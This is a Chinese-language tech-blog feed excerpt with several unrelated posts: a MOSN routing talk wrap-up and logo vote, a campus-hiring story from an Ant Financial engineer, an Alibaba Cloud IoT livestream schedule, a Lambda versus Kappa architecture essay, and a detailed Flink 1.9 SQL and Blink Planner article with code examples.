        与此同时,我们注意到 Istio 社区其实也有类似的需求,希望设计一套协议无关的路由机制——"Istio Meta Routing API"。其核心思路与 MOSN 的多协议路由框架基本一致,即通过基于属性的路由来替代基于协议字段的路由。目前该草案还处于一个比较初级的阶段,对于匹配性能、字段扩展方面还没有比较完善的设计说明,后续 MOSN 团队会积极参与社区方案的讨论,进一步推动社区标准方案的落地。

        以上就是本期分享的全部内容,如果大家对 MOSN 有问题以及建议,欢迎在群内与我们交流。

        本期视频回顾以及 PPT 查看地址

        https://tech.antfin.com/community/live/1131

        MOSN Logo 社区投票结果公示

        MOSN 的 Logo 升级,在进过社区投票后,在本期直播结束后截止。截止 2020年3月26日20:00,有效票数 35 票。方案一 25 票,占比 71.43%;方案二 2 票,占比 5.71%;方案三 8 票,占比 22.86%。最终,方案一大比分胜出,方案一 为 MOSN 最终 Logo 。感谢大家参与社区投票~

        image.png

        恭喜以下社区同学,你们投票与最终结果一致~Github ID @CodingSinger @trainyao @JasonRD @taoyuanyuan @wangfakang @ujjboy @InfoHunter @Tony-Hangzhou @GLYASAI @carolove @tanjunchen @bruce-sha @hb-chen @luxious @echooymxq @qunqiang @f2h2h1 @sunny0826 @token01 @Ayi- @cytyikai @fanyanming2016 @inkinworld @dllen @meua

        具体 issue 地址:https://github.com/mosn/community/issues/2

        ]]>
        校招经验贴 | 那天我喝着咖啡撸着猫,就接到了支付宝offer… Fri, 02 May 2025 09:39:04 +0800

        就现在!蚂蚁「校招季」重磅来袭!除了介绍蚂蚁的技术大咖,我们还邀请了一些通过校招来到蚂蚁的过来人分享他们的通关经验和心得,这里随时可能有行业技术大咖和你的直系学长学姐出没哦~ 「校招季」栏目会持续输出有关“蚂蚁校招”的丰富内容,敬请期待!

        大学期间,在一家有金融背景的互联网金融创业公司实习,当时刚好在调研信用评分的时候,看到了蚂蚁金服,对于这家公司的小微金融业务有了一定的了解,这个时候心里就埋下了一粒种子。

        准备充分,然而结果却很意外

        大学时光如梭,一转眼就到了校招季,当时抱着对BAT公司巨大技术挑战和复杂管理协同经验的憧憬,选择了在本科阶段迈出应届生招聘这一步。恰好当时有个同学在蚂蚁金服实习,为了把握这个内推的机会,我就花了一整天的时间,把简历好好整理了下,期间也是在简历阶段费了非常多的时间,因为希望面试官看到简历的时候,能看到我擅长的一面,并且能引导面试官在一些我非常了解的技术点上,深入去讨论。这个在准备简历的阶段是非常重要的。准备完简历后,就开始准备笔试和面试。

        一开始肯定是需要把大学里面的一些网络、系统、语言基础、数据库、数据结构与算法等基础知识再好好的复写归纳归纳,把逃的课又花时间补回来了。当时是面试的Java研发岗,主要就深入学习了Java并发编程艺术、JVM、Spring框架等,深入看些了框架源码,了解一些框架的设计模式和思想。其实开源框架的代码都是非常值得学习的,无论是一些核心的技术实现,还是一些巧妙的技术解法,甚至于代码的风格,阅读开源代码,都是一个非常有效的实践过程。建议阅读开源代码的时候可以借助UML、流程图或者自己习惯的记录、分析方式,辅助理解开源项目的整体设计思路。后面顺利地参加完了整个笔试流程,通过了笔试的考核,进入了面试阶段。一面、二面的时候,和面试官都交流的非常流畅,无论是在技术点上,还是实践项目上,自我感觉还是得到了面试官的认可,但是在三面的时候,就稍微有一些挫败感。其实三面的技术问题范围也和一面、二面差不多,只是在技术深度上,问了很多为什么,以及还能怎么优化,确实在一些开源项目的阅读上,之前没有更多的去思考这些问题,仅仅停留在看懂层面。面完之后心里面还是有一丝小小的紧张,感觉可能就因为这一个问题会错失这次机会。

        中间还有一段小插曲。在三面的时候,我其实是在上厕所,当时也没有拒绝面试官,就这样继续聊下去,现在回想起来,那会三面的状态并没有发挥的特别好,也没有在一个相对充分的环境和思考中准备面试。过了几天,收到了一个HR的电话,以当时网上的各种面试经验来看,基本上到了HR面试环节,基本上offer就稳了。可是没想到在过了几天的焦急等待后,还是收到了被婉拒的通知,当时心里面还是非常失落的,自己也大概知道应该是因为三面那次技术深度的灵魂拷问没有回答的很好导致的,后续在紧张的秋招环境中,又继续回过神投入各大公司的招聘中,同时一边又继续学习巩固技术。

        柳暗花明又一村,终于得偿夙愿

        差不多到了11月份,基本上手上也有了几份大厂的offer。还记得一天正在成都的猫咖喝着咖啡撸着猫,突然一个杭州的电话过来,正是蚂蚁金服的电话,电话里说现在有一个机会,问是否还有意愿来蚂蚁金服,在他简单介绍了下工作的内容和岗位后,抱着将信将疑的态度,暂且接受了。后面接着HR也来了电话,简单聊了下薪资待遇后,我提出了一个要在毕业前去公司实习的要求,当时的想法是,想用实习的机会去看下,这样一个工作的岗位和内容是否适合我,HR也答应了我的请求。

        现在,我在蚂蚁金服技术风险部。可以说,这是一个全世界一流的技术团队,不仅有学术大佬,有业界大牛,还有从Google/AWS/MicroSoft的海归和全世界最核心的金融级场景。所涉及到的业务场景量级以及技术深度挑战,都是行业类顶尖的,而且团队基本上都是90后,团队非常的年轻有活力,平时团队氛围也非常的欢乐,也是一群有着工程师情怀,并怀揣技术改变世界梦想的人,最终我也是在亲身实习体验后,选择了留下来。

        来不及解释,快上车

        在我看来,面试过程中需要关注两点:

        一方面是面试前的准备要充分。把大学的专业知识重新再拿出来复习加固一下,把参与过的一些实验课题和项目再回顾,深挖其中的技术难点,把自己的思考再总结归纳,这样才有可能在面试过程中,与面试官碰撞出火花,吸引他主动去了解你。

        另一方面是在跟面试官交谈过程中,要有足够的交流。面试其实跟相亲差不多,是一个相互了解的过程。不仅需要面试官去了解你,你也需要主动去了解面试官,了解招聘的岗位是不是适合自己,满足自己的预期等等。

        最后我想告诉大家的是,我们团队正在招人(数据工程师、研发工程师)啦!分布式技术风险中台,是蚂蚁金服在十多年的金融业务演进过程中,逐步沉淀的一套技术风险中台能力,是蚂蚁金服之所以能被称之“金融级“的关键所在。蚂蚁金服的风险控制解决方案,也是蚂蚁金服在支付、信贷、理财、保险、信用等领域的最佳实践。来我们这里你可以接触到阿里经济体双11的定海神针--”全链路压测“,世界一流的Kubernetes/Service Mesh/Serverless生产集群,掌握AI算法、实时计算和大数据分析,打造业界最牛逼的稳定性体系,和学术大佬、工业界大神谈笑风声。

        欢迎投递简历至邮箱yuefan.wyf@antfin.com ,期待与你一起让平凡成为不凡~

        ]]>
        【0331 - 0404 直播导视 | PPT 下载】云服务技术课堂带来阿里云物联网平台的实践分享 Fri, 02 May 2025 09:39:04 +0800 第一期:

        阿里云物联网平台初体验

        直播时间:03-31 14:00
        直播亮点:课程从一个Quick Start的案例开始引入,帮助使用者对阿里云物联网平台有一个快速的认识;然后介绍阿里云物联网的核心概念
        主讲人:俏巴

        >>> 点击下PPT

        第二期:

        阿里云物联网平台基本概念

        直播时间:04-01 14:00
        直播亮点:详细介绍物模型、三元组、Topic等概念,并从费用方面给出使用建议
        主讲人:俏巴

        >>> 点击下PPT

        第三期:

        阿里云物联网平台设备端+云端开发

        直播时间:04-02 14:00
        直播亮点:对于物联网设备端和服务端的开发,分别从系统Topic、自定义Topic和脚本解析三个方面进行细致讲解
        主讲人:俏巴

        >>> 点击下PPT

        第四期:

        阿里云物联网平台服务端订阅+规则引擎

        直播时间:04-03 14:00
        直播亮点:本次内容对 AMQP和MNS两种服务端端订阅的两种方式进行讲解,也将目前支持的规则引擎的消息流转进行了逐一说明
        主讲人:俏巴

        >>> 点击下PPT

        第五期:

        阿里云物联网平台高级功能测试

        直播时间:04-04 14:00
        直播亮点:本次课程基于Topic上下行消息通信的方式,分别介绍了OTA、NTP、M2M、PPRC、设备影子和远程配置,对于设备认证中使用到的一型一密,结合原理进行了Code演示
        主讲人:俏巴

        >>> 点击下PPT

        第六期:

        阿里云物联网平台IOT Studio + LA数据分析

        直播时间:04-05 14:00
        直播亮点:基于后续数据流转的展示和分析,分别使用实际的案例进行了IoT Studio和LA数据分析的功能演示。
        主讲人:俏巴

        >>> 点击下PPT
        ]]>
        从Lambda架构到Kappa架构再到?浅谈未来数仓架构设计~ Fri, 02 May 2025 09:39:04 +0800 Linked大佬Jay Kreps曾发表过一篇博客,简单阐述了他对数据仓库架构设计的一些想法。从Lambda架构的缺点到提出基于实时数据流的Kappa架构。本文将在Kappa架构基础上,进一步谈数仓架构设计。

        什么是Lambda架构?

        借用Jay Kreps的一张图来看,Lambda架构主要由这几部分构成:数据源(Kafka),数据处理(Storm,Hadoop),服务数据库(Serving DB)。其中数据源和服务数据库是整个架构数据的入口和出口。数据处理则是分为在在线处理和离线处理两部分。

        当数据通过kafka消息中间件,进入Lambda架构后,会同时进入离线处理(Hadoop)和实时处理(Storm)两个处理模块。离线处理进行批计算,将大量T+1的数据进行汇总。而实时处理则是进行流处理或者是微批处理,计算秒级、分钟级的结果。最后都录入到服务数据库(Serving DB)中进行汇总,暴露给上层服务调用。

        Lambda架构的好处是:架构简单,很好的结合了离线批处理和实时流处理的优点,稳定且实时计算成本可控。

        此外,它对数据订正也很友好。如果后期数据统计口径变更,重新运行离线任务,则可以很快的将历史数据订正为最新的口径。

        然而,Lambda也有很多问题。

        其中Jay Kreps认为最突出的问题就是需要同时维护实时处理和离线处理两套代码的同时还要保证两套处理结果保持一致。这无疑是非常让人头疼的。

        什么是Kappa架构

        Jay Kreps认为通过非常,非常快地增加并行度和重播历史来处理重新处理实时数据,避免在实时数据处理系统上再“粘粘”一个离线数据处理系统。于是,他提出了这样的架构:

        Kafka或者其他消息中间件,具备保留多日数据的能力。正常情况下kafka都是吐出实时数据,经过实时处理系统,进入服务数据库(Serving DB)。

        当系统需要数据订正时,重放消息,修正实时处理代码,扩展实时处理系统的并发度,快速回溯过去历史数据。

        这样的架构简单,避免了维护两套系统还需要保持结果一致的问题,也很好解决了数据订正问题。

        但它也有它的问题:

        1、消息中间件缓存的数据量和回溯数据有性能瓶颈。通常算法需要过去180天的数据,如果都存在消息中间件,无疑有非常大的压力。同时,一次性回溯订正180天级别的数据,对实时计算的资源消耗也非常大。

        2、在实时数据处理时,遇到大量不同的实时流进行关联时,非常依赖实时计算系统的能力,很可能因为数据流先后顺序问题,导致数据丢失。

        例如:一个消费者在淘宝网上搜索商品。正常来说,搜索结果里,商品曝光数据应该早于用户点击数据产出。然而因为可能会因为系统延迟,导致相同商品的曝光数据晚于点击数据进入实时处理系统。如果开发人员没意识到这样的问题,很可能会代码设计成曝光数据等待点击数据进行关联。关联不上曝光数据的点击数据就很容易被一些简单的条件判断语句抛弃。

        对于离线处理来说,消息都是批处理,不存在关联不上的情况。在Lambda架构下,即使实时部分数据处理存在一定丢失,但因为离线数据占绝对优势,所以对整体结果影响很小。即使当天的实时处理结果存在问题,也会在第二天被离线处理的正确结果进行覆盖。保证了最终结果正确。

        Flink(Blink)的解法

        先整理一下Lambda架构和Kappa架构的优缺点:

        优点

        缺点

        Lambda

        1、架构简单

        2、很好的结合了离线批处理和实时流处理的优点

        4、稳定且实时计算成本可控

        5、离线数据易于订正

        1、实时、离线数据很难保持一致结果

        2、需要维护两套系统

        Kappa

        1、只需要维护实时处理模块

        2、可以通过消息重放

        3、无需离线实时数据合并

        1、强依赖消息中间件缓存能力

        2、实时数据处理时存在丢失数据可能。

        ]]> Apache Flink 进阶(十二):深度探索 Flink SQL Fri, 02 May 2025 09:39:04 +0800 作者:贺小令(晓令)
        整理:郑仲尼

        本文根据 Apache Flink 进阶篇系列直播整理而成,由阿里巴巴技术专家贺小令分享,文章将从用户的角度来讲解 Flink 1.9 版本中 SQL 相关原理及部分功能变更,希望加深大家对 Flink 1.9 新功能的理解,在使用上能够有所帮助。主要内容:

        1. 新 TableEnvironment 的设计与使用场景
        2. 新 Catalog 的设计以及 DDL 实践
        3. Blink Planner 的几点重要改进及优化

        新 TableEnvironment

        FLIP-32 中提出,将 Blink 完全开源,合并到 Flink 主分支中。合并后在 Flink 1.9 中会存在两个 Planner:Flink Planner 和 Blink Planner。

        在之前的版本中,Flink Table 在整个 Flink 中是一个二等公民。而 Flink SQL 具备的易用性,使用门槛低等特点深受用户好评,也越来越被重视,Flink Table 模块也因此被提升为一等公民。而 Blink 在设计之初就考虑到流和批的统一,批只是流的一种特殊形式,所以在将 Blink 合并到 Flink 主分支的过程中,社区也同时考虑了 Blink 的特殊设计。

        新 TableEnvironment 整体设计

        图1.png

        图1 新 Table Environment 整体设计

        从图 1 中,可以看出,TableEnvironment 组成部分如下:

        • flink-table-common:这个包中主要是包含 Flink Planner 和 Blink Planner 一些共用的代码。
        • flink-table-api-java:这部分是用户编程使用的 API,包含了大部分的 API。
        • flink-table-api-scala:这里只是非常薄的一层,仅和 Table API 的 Expression 和 DSL 相关。
        • 两个 Planner:flink-table-planner 和 flink-table-planner-blink。
        • 两个 Bridge:flink-table-api-scala-bridge 和 flink-table-api-java-bridge,从图中可以看出,Flink Planner 和 Blink Planner 都会依赖于具体的 JAVA API,也会依赖于具体的 Bridge,通过 Bridge 可以将 API 操作相应的转化为 Scala 的 DataStream、DataSet,或者转化为 JAVA 的 DataStream 或者 Data Set。

        新旧 TableEnvironment 对比

        在 Flink 1.9 之前,原来的 Flink Table 模块,有 7 个 Environment,使用和维护上相对困难。7 个 Environment 包括:StreamTableEnvironment,BatchTableEnvironment 两类,JAVA 和 Scala 分别 2 个,一共 4 个,加上 3 个父类,一共就是 7 个。

        在新的框架之下,社区希望流和批统一,因此对原来的设计进行精简。首先,提供统一的 TableEnvironment,放在 flink-table-api-java 这个包中。然后,在 Bridge 中,提供了两个用于衔接 Scala DataStream 和 Java DataStream 的 StreamTableEnvironment。最后,因为 Flink Planner 中还残存在着 toDataSet() 类似的操作,所以,暂时保留 BatchTableEnvironment。这样,目前一共是 5 个 TableEnvironment。

        因为未来 Flink Planner 将会被移除,BatchTableEnvironment 就会被废弃,这样,未来就剩下 3 个 Environment 了,整个 TableEnvironment 的设计将更加简洁明了。

        新 TableEnvironment 的应用

        本节中,将介绍新的应用场景以及相关限制。

        下图详细列出了新 TableEnvironment 的适用场景:

        图2.png
        图2 新 Table Environment 适应场景

        第一行,简单起见,在后续将新的 TableEnvironment 称为 UnifyTableEnvironment。在 Blink 中,Batch 被认为是 Stream 的一个特例,因此 Blink 的 Batch 可以使用 UnifyTableEnvironment。

        UnifyTableEnvironment 在 1.9 中有一些限制,比如它不能够注册 UDAF 和 UDTF,当前新的 Type System 的类型推导功能还没有完成,Java、Scala 的类型推导还没统一,所以这部分的功能暂时不支持。可以肯定的是,这部分功能会在 1.10 中实现。此外,UnifyTableEnvironment 无法转化为 DataStream 和 DataSet。

        第二行,Stream TableEnvironment 支持转化成 DataStream,也可以注册 UDAF 和 UDTF。如果是 JAVA 写的,就注册到 JAVA 的 TableEnvironment,如果是用 Scala 写的,就注册到 Scala 的 TableEnvironment。

        注意,Blink Batch 作业是不支持 Stream TableEnvironment 的,因为目前没有 toAppendStream(),所以 toDataStream() 这样的语义暂时不支持。从图中也可以看出,目前操作只能使用 TableEnvironment。

        最后一行,BatchTableEvironment 能够使用 toDataSet() 转化为 DataSet。

        从上面的图 2 中,可以很清晰的看出各个 TableEnvironment 能够做什么事情,以及他们有哪些限制。

        接下来,将使用示例对各种情况进行说明。

        示例1:Blink Batch

        EnvironmentSettings settings = EnvironmentSettings.newInstance().useBlinkPlanner().inBatchMode().build();
        TableEnvironment tEnv = TableEnvironment.create(settings);
        tEnv…
        tEnv.execute(“job name”);

        从图 2 中可以看出,Blink Batch 只能使用 TableEnvironment(即UnifyTableEnvironment),代码中,首先需要创建一个 EnvironmentSetting,同时指定使用 Blink Planner,并且指定用 Batch 模式。之所以需要指定 Blink Planner,是因为目前 Flink 1.9 中,将 Flink Planner 和 Blink Planner 的 jar 同时放在了 Flink 的 lib 目录下。如果不指定使用的 Planner,整个框架并不知道需要使用哪个 Planner,所以必须显示的指定。当然,如果 lib 下面只有一个 Planner 的 jar,这时不需要显示指定使用哪个 Planner。

        另外,还需要注意的是在 UnifyEnvironment 中,用户是无法获取到 ExecutionEnvironment 的,即用户无法在写完作业流程后,使用 executionEnvironment.execute() 方法启动任务。需要显式的使用 tableEnvironment.execute() 方法启动任务,这和之前的作业启动很不相同。

        示例 2:Blink Stream

        EnvironmentSettings settings = EnvironmentSettings.newInstance().useBlinkPlanner().inStreamingMode().build();
        StreamExecutionEnvironment execEnv = …
        StreamTableEnvironment tEnv =  StreamTableEnvironment.create(execEnv, settings);
        tEnv…

        Blink Stream 既可以使用 UnifyTableEnvironment,也可以使用 StreamTableEnvironment,与 Batch 模式基本类似,只是需要将 inBatchMode 换成 inStreamingMode。

        示例 3:Flink Batch

        ExecutionEnvironment execEnv = ...
        BatchTableEnvironment tEnv = BatchTableEnvironment.create(execEnv);
        tEnv...

        与之前没有变化,不做过多介绍。

        示例 4:Flink Stream

        EnvironmentSettings settings = EnvironmentSettings.newInstance().useOldPlanner().inStreamMode().build();
        TableEnvironment tEnv = TableEnvironment.create(settings);
        tEnv…
        tEnv.execute(“job name”);

        Flink Stream 也是同时支持 UnifyEnvironment 和 StreamTableEnvironment,只是在指定 Planner 时,需要指定为 useOldPlanner,也即 Flink Planner。因为未来 Flink Planner 会被移除,因此,特意起了一个 OlderPlanner 的名字,而且只能够使用 inStreamingMode,无法使用 inBatchMode。

        新 Catalog 和 DDL

        构建一个新的 Catalog API 主要是 FLIP-30 提出的,之前的 ExternalCatalog 将被废弃,Blink Planner 中已经不支持 ExternalCatalog 了,Flink Planner 还支持 ExternalCatalog。

        新 Catalog 设计

        下图是新 Catalog 的整体设计:

        图3.png
        图3 新 Catalog 设计

        可以看到,新的 Catalog 有三层结构(..),最顶层是 Catalog 的名字,中间一层是 Database,最底层是各种 MetaObject,如 Table,Partition,Function 等。当前,内置了两个 Catalog 实现:MemoryCatalog 和 HiveCatalog。当然,用户也可以实现自己的 Catalog。

        Catalog 能够做什么事情呢?首先,它可以支持 Create,Drop,List,Alter,Exists 等语句,另外它也支持对 Database,Table,Partition,Function,Statistics 等的操作。基本上,常用的 SQL 语法都已经支持。

        CatalogManager 正如它名字一样,主要是用来管理 Catalog,且可以同时管理多个 Catalog。也就是说,可以通过在一个相同 SQL 中,跨 Catalog 做查询或者关联操作。
        例如,支持对 A Hive Catalog 和 B Hive Catalog 做相互关联,这给 Flink 的查询带来了很大的灵活性。

        CatalogManager 支持的操作包括:

        • 注册 Catalog(registerCatalog)
        • 获取所有的 Catalog(getCatalogs)
        • 获取特定的 Catalog(getCatalog)
        • 获取当前的 Catalog(getCurrentCatalog)
        • 设置当前的 Catalog(setCurrentCatalog)
        • 获取当前的 Database(getCurrentDatabase)
        • 设置当前的 Database(setCurrentDatabase)

        Catalog 虽然设计了三层结构,但在使用的时候,并不需要完全指定三层结构的值,可以只写Table Name,这时候,系统会使用 getCurrentCatalog,getCurrentDatabase 获取到默认值,自动补齐三层结构,这种设计简化了对 Catalog 的使用。如果需要切换默认的 Catalog,只需要调用 setCurrentCatalog 就可以了。

        在 TableEnvironment 层,提供了操作 Catalog 的方法,例如:

        • 注册 Catalog(registerCatalog)
        • 列出所有的 Catalog(listCatalogs)
        • 获取指定 Catalog(getCatalog)
        • 使用某个 Catalog(useCatalog)

        在 SQL Client 层,也做了一定的支持,但是功能有一定的限制。用户不能够使用 Create 语句直接创建 Catalog,只能通过在 yarn 文件中,通过定义 Description 的方式去描述 Catalog,然后在启动 SQL Client 的时候,通过传入 -e +file_path 的方式,定义 Catalog。目前 SQL Client 支持列出已定义的 Catalog,使用一个已经存在的 Catalog 等操作。

        DDL 设计与使用

        有了 Catalog,就可以使用 DDL 来操作 Catalog 的内容,可以使用 TableEnvironment 的 sqlUpdate() 方法执行 DDL 语句,也可以在 SQL Client 执行 DDL 语句。

        sqlUpdate() 方法中,支持 Create Table,Create View,Drop Table,Drop View 四个命令。当然,inset into 这样的语句也是支持的。

        下面分别对 4 个命令进行说明:

        Create Table:可以显示的指定 Catalog Name 或者 DB Name,如果缺省,那就按照用户设定的 Current Catalog 去补齐,然后可以指定字段名称,字段的说明,也可以支持 Partition By 语法。最后是一个 With 参数,用户可以在此处指定使用的 Connector,例如,Kafka,CSV,HBase 等。With 参数需要配置一堆的属性值,可以从各个 Connector 的 Factory 定义中找到。Factory 中会指出有哪些必选属性,哪些可选属性值。

        需要注意的是,目前 DDL 中,还不支持计算列和 Watermark 的定义,后续的版本中将会继续完善这部分。

        Create Table [[catalog_name.]db_name.]table_name(
          a int comment 'column comment',
          b bigint,
          c varchar
        )comment 'table comment'
        [partitioned by(b)]
        With(
            update-mode='append',
            connector.type='kafka',
            ...
        )

        Create View:需要指定 View 的名字,然后紧跟着的是 SQL。View 将会存储在 Catalog 中。

        CREATE VIEW view_name AS SELECT xxx 

        Drop Table&Drop View:和标准 SQL 语法差不多,支持使用 IF EXISTS 语法,如果未加 IF EXISTS ,Drop 一个不存在的表,会抛出异常。

         DROP TABLE [IF EXISTS] [[catalog_name.]db_name.]table_name 

        SQL Client中执行DDL:大部分都只支持查看操作,仅可以使用 Create View 和 Drop View。Catalog,Database,Table ,Function 这些只能做查看。用户可以在 SQL Client 中 Use 一个已经存在的 Catalog,修改一些属性,或者做 Description,Explain 这样的一些操作。

        CREATE VIEW
        DROP VIEW
        SHOW CATALOGS/DATABASES/TABLES/FUNCTIONS l USE CATALOG xxx
        SET xxx=yyy
        DESCRIBE table_name
        EXPLAIN SELECT xxx 

        DDL 部分,在 Flink 1.9 中其实基本已经成型,只是还有一些特性,在未来需要逐渐的完善。

        Blink Planner

        本节将主要从 SQL/Table API 如何转化为真正的 Job Graph 的流程开始,让大家对 Blink Planner 有一个比较清晰的认识,希望对大家阅读 Blink 代码,或者使用 Blink 方面有所帮助。然后介绍 Blink Planner 的改进及优化。

        图4.png
        图4 主要流程

        从上图可以很清楚的看到,解析的过程涉及到了三层:Table API/SQL,Blink Planner,Runtime,下面将对主要的步骤进行讲解。

        Table API&SQL 解析验证:在 Flink 1.9 中,Table API 进行了大量的重构,引入了一套新的 Operation,这套 Operation 主要是用来描述任务的 Logic Tree。

        当 SQL 传输进来后,首先会去做 SQL 解析,SQL 解析完成之后,会得到 SqlNode Tree(抽象语法树),然后会紧接着去做 Validator(验证),验证时会去访问 FunctionManger 和 CatalogManger,FunctionManger 主要是查询用户定义的 UDF,以及检查 UDF 是否合法,CatalogManger 主要是检查这个 Table 或者 Database 是否存在,如果验证都通过,就会生成一个 Operation DAG(有向无环图)。

        从这一步可以看出,Table API 和 SQL 在 Flink 中最终都会转化为统一的结构,即 Operation DAG。

        生成RelNode:Operation DAG 会被转化为 RelNode(关系表达式) DAG。

        优化:优化器会对 RelNode 做各种优化,优化器的输入是各种优化的规则,以及各种统计信息。当前,在 Blink Planner 里面,绝大部分的优化规则,Stream 和 Batch 是共享的。差异在于,对 Batch 而言,它没有 state 的概念,而对于 Stream 而言,它是不支持 sort 的,所以目前 Blink Planner 中,还是运行了两套独立的规则集(Rule Set),然后定义了两套独立的 Physical Rel:BatchPhysical Rel 和 StreamPhysical Rel。优化器优化的结果,就是具体的 Physical Rel DAG。

        转化:得到 Physical Rel Dag 后,继续会转化为 ExecNode,通过名字可以看出,ExecNode 已经属于执行层的概念了,但是这个执行层是 Blink 的执行层,在 ExecNode 中,会进行大量的 CodeGen 的操作,还有非 Code 的 Operator 操作,最后,将 ExecNode 转化为 Transformation DAG。

        生成可执行 Job Graph:得到 Transformation DAG 后,最终会被转化成 Job Graph,完成 SQL 或者 Table API 的解析。

        Blink Planner 改进及优化

        Blink Planner 功能方面改进主要包含如下几个方面:

        • 更完整的 SQL 语法支持:例如,IN,EXISTS,NOT EXISTS,子查询,完整的 Over 语句,Group Sets 等。而且已经跑通了所有的 TPCH,TPCDS 这两个测试集,性能还非常不错。
        • 提供了更丰富,高效的算子
        • 提供了非常完善的 cost 模型,同时能够对接 Catalog 中的统计信息,使 cost 根据统计信息得到更优的执行计划。
        • 支持 join reorder
        • shuffle service:对 Batch 而言,Blink Planner 还支持 shuffle service,这对 Batch 作业的稳定性有非常大的帮助,如果遇到 Batch 作业失败,通过 shuffle service 能够很快的进行恢复。

        性能方面,主要包括以下部分:

        • 分段优化。
        • Sub-Plan Reuse。
        • 更丰富的优化 Rule:共一百多个 Rule ,并且绝大多数 Rule 是 Stream 和 Batch 共享的。
        • 更高效的数据结构 BinaryRow:能够节省序列化和反序列化的操作。
        • mini-batch 支持(仅 Stream):节省 state 的访问的操作。
        • 节省多余的 Shuffle 和 Sort(Batch 模式):两个算子之间,如果已经按 A 做 Shuffle,紧接着他下的下游也是需要按 A Shuffle 的数据,那中间的这一层 Shuffle,就可以省略,这样就可以省很多网络的开销,Sort 的情况也是类似。Sort 和 Shuffle 如果在整个计算里面是占大头,对整个性能是有很大的提升的。

        深入性能优化及实践

        本节中,将使用具体的示例进行讲解,让你深入理解 Blink Planner 性能优化的设计。

        分段优化

        示例 5

        create view MyView as select word, count(1) as freq from SourceTable group by word; insert into SinkTable1 select * from MyView where freq >10;
        insert into SinkTable2 select count(word) as freq2, freq from MyView group by freq;  

        上面的这几个 SQL,转化为 RelNode DAG,大致图形如下:

        图5.png
        图5 示例5 RelNode DAG

        如果是使用 Flink Planner,经过优化层后,会生成如下执行层的 DAG:

        图6.png
        图6 示例 5 Flink Planner DAG

        可以看到,Flink Planner 只是简单的从 Sink 出发,反向的遍历到 Source,从而形成两个独立的执行链路,从上图也可以清楚的看到,Scan 和第一层 Aggregate 是有重复计算的。

        在 Blink Planner 中,经过优化层之后,会生成如下执行层的 DAG:

        图7.png
        图7 示例 5 Blink Planner DAG

        Blink Planner 不是在每次调用 insert into 的时候就开始优化,而是先将所有的 insert into 操作缓存起来,等到执行前才进行优化,这样就可以看到完整的执行图,可以知道哪些部分是重复计算的。Blink Planner 通过寻找可以优化的最大公共子图,找到这些重复计算的部分。经过优化后,Blink Planner 会将最大公共子图的部分当做一个临时表,供其他部分直接使用。

        这样,上面的图可以分为三部分,最大公共子图部分(临时表),临时表与 Filter 和 SinkTable1 优化,临时表与第二个 Aggregate 和 SinkTable 2 优化。

        Blink Planner 其实是通过声明的 View 找到最大公共子图的,因此在开发过程中,如果需要复用某段逻辑,就将其定义为 View,这样就可以充分利用 Blink Planner 的分段优化功能,减少重复计算。

        当然,当前的优化也不是最完美的,因为提前对图进行了切割,可能会导致一些优化丢失,今后会持续地对这部分算法进行改进。

        总结一下,Blink Planner 的分段优化,其实解的是多 Sink 优化问题(DAG 优化),单 Sink 不是分段优化关心的问题,单 Sink 可以在所有节点上优化,不需要分段。

        Sub-Plan Reuse

        示例 6

        insert into SinkTabl
        select freq from (select word, count(1) as freq from SourceTable group by word) t where word like 'T%'
        union all
        select count(word) as freq2 from (select word, count(1) as freq from SourceTable group by word) t group by freq; 

        这个示例的 SQL 和分段优化的 SQL 其实是类似的,不同的是,没有将结果 Sink 到两个 Table 里面,而是将结果 Union 起来,Sink 到一个结果表里面。

        下面看一下转化为 RelNode 的 DAG 图:

        图8.png
        图 8 示例 6 RelNode DAG

        从上图可以看出,Scan 和第一层的 Aggregate 也是有重复计算的,Blink Planner 其实也会将其找出来,变成下面的图:

        图9.png
        图9 示例 6 Blink Planner DAG

        Sub-Plan 优化的启用,有两个相关的配置:

        • table.optimizer.reuse-sub-plan-enabled (默认开启)
        • table.optimizer.reuse-source-enabled(默认开启)

        这两个配置,默认都是开启的,用户可以根据自己的需求进行关闭。这里主要说明一下 table.optimizer.reuse-source-enabled 这个参数。在 Batch 模式下,join 操作可能会导致死锁,具体场景是在执行 hash-join 或者 nested-loop-join 时一定是先读 build 端,然后再读 probe 端,如果启用 reuse-source-enabled,当数据源是同一个 Source 的时候,Source 的数据会同时发送给 build 和 probe 端。这时候,build 端的数据将不会被消费,导致 join 操作无法完成,整个 join 就被卡住了。

        为了解决死锁问题,Blink Planner 会先将 probe 端的数据落盘,这样 build 端读数据的操作才会正常,等 build 端的数据全部读完之后,再从磁盘中拉取 probe 端的数据,从而解决死锁问题。但是,落盘会有额外的开销,会多一次写的操作;有时候,读两次 Source 的开销,可能比一次写的操作更快,这时候,可以关闭 reuse-source,性能会更好。当然,如果读两次 Source 的开销,远大于一次落盘的开销,可以保持 reuse-source 开启。需要说明的是,Stream 模式是不存在死锁问题的,因为 Stream 模式 join 不会有选边的问题。

        总结而言,sub-plan reuse 解的问题是优化结果的子图复用问题,它和分段优化类似,但他们是一个互补的过程。

        注:Hash Join:对于两张待 join 的表 t1, t2。选取其中的一张表按照 join 条件给的列建立hash 表。然后扫描另外一张表,一行一行去建好的 hash 表判断是否有对应相等的行来完成 join 操作,这个操作称之为 probe (探测)。前一张表叫做 build 表,后一张表的叫做 probe 表。

        Agg 分类优化

        Blink 中的 Aggregate 操作是非常丰富的:

        • group agg,例如:select count(a) from t group by b
        • over agg,例如:select count(a) over (partition by b order by c) from t
        • window agg,例如:select count(a) from t group by tumble(ts, interval '10' second), b
        • table agg ,例如:tEnv.scan('t').groupBy('a').flatAggregate(flatAggFunc('b' as ('c', 'd'))) 

        下面主要对 Group Agg 优化进行讲解,主要是两类优化。

        1. Local/Global Agg 优化

        Local/Global Agg 主要是为了减少网络 Shuffle。要运用 Local/Global 的优化,必要条件如下:

        • Aggregate 的所有 Agg Function 都是 mergeable 的,每个 Aggregate 需要实现 merge 方法,例如 SUM,COUNT,AVG,这些都是可以分多阶段完成,最终将结果合并;但是求中位数,计算 95% 这种类似的问题,无法拆分为多阶段,因此,无法运用 Local/Global 的优化。
        • table.optimizer.agg-phase-strategy 设置为 AUTO 或者 TWO_PHASE。
        • Stream 模式下,mini-batch 开启 ;Batch 模式下 AUTO 会根据 cost 模型加上统计数据,选择是否进行 Local/Global 优化。

        示例 7

        select count(*) from t group by color

        没有优化的情况下,下面的这个 Aggregate 会产生 10 次的 Shuffle 操作。

        图10.png
        图 10 示例 7 未做优化的 Count 操作

